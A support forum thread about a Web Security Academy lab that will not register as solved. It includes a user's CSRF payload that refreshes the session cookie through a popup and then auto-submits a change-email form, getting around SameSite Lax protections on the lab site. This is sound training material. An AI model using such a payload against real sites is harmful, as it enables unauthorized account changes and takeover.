Problem with Solving the SameSite Lax bypass via cookie refresh lab

kaiwhata | Last updated: Oct 03, 2024 09:47PM UTC

I've tried to complete the https://portswigger.net/web-security/learning-paths/csrf/csrf-bypassing-samesite-lax-restrictions-with-newly-issued-cookies/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-cookie-refresh# several times over the last few days - but I cant get the lab to mark as Solved. I've checked that my payload works on Chrome and the Burp browser, and I've tried the payload from the solution (alongside a couple of others from the internet) - but try as I might the lab won't recognise the completion for some reason. I'm making sure to change the email address each time as well. And I've completely restarted the lab 3 separate times (which usually fixes this issue with other labs) Any suggestions for what else to try? Here's my payload for reference: " <form method="POST" action="https://labidx.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="pwned@pwned.net"> </form> <p>Click anywhere on the page</p> <script> window.onclick = () => { window.open("https://labidx.web-security-academy.net/social-login"); setTimeout(changeEmail, 5000); } function changeEmail() { document.forms[0].submit(); } </script> "

Hi, To confirm, if you view the access log within this lab, after you have delivered your exploit, do you see any visits from the victim user?

Ugh - I totally should have checked that! No - I'm not seeing any visits in the Access Log from the Victim user - which totally explains things. I'm only seeing incoming requests from a single IP.

Hi, We were experiencing some issues last week with the performance of the Web Academy environment and have since redeployed the environment - this might have impacted your efforts to solve this lab. I have just run through this particular lab right now and been able to solve it so it does appear to now be functioning as expected - if you try this again are you still seeing the same issues?

Thanks - it's marked as solved now regardless. Whatever you did seems to have fixed it. I really appreciate the help!
